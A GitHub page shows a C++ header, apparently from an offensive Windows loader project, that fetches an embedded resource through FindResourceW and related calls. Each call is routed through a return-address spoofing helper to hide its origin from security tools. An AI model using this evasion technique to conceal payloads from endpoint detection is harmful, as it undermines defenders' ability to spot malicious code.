-
Notifications
You must be signed in to change notification settings - Fork 57
/
Copy pathrsrc.h
47 lines (29 loc) · 1.05 KB
/
rsrc.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#pragma once
#include "functions.h"
#include "retaddrspoof.h"
#include "resource1.h"
#include <windows.h>
#include <iostream>
extern PVOID Gdgt;
int GetFromRc(DWORD& size, PVOID& ptr) {
HRSRC hResource = (HRSRC)RetSpoofCall((void*)e_FindResourceW , 3 , Gdgt, NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hResource == NULL) {
std::cout << "Failed To FindResource\n";
}
HGLOBAL hGlobal = (HGLOBAL)RetSpoofCall((void*)e_LoadResource, 2, Gdgt, NULL, hResource);
if (hGlobal == NULL) {
std::cout << "Failed To LoadResource\n";
}
PVOID pResource = RetSpoofCall((void*)e_LockResource, 1, Gdgt, hGlobal);
if (pResource == NULL) {
std::cout << "Failed To LockResource\n";
}
DWORD Size = (DWORD)RetSpoofCall((void*)e_SizeofResource, 2, Gdgt, NULL, hResource);
#ifdef _DEBUG_PRINT
std::cout << "[DEBUG] Retrieved Resource Size: " << Size << "\n";
#endif
ptr = pResource;
size = Size;
/* I LOVE RETURN ADDRESS SPOOFING <3 */
return 0;
}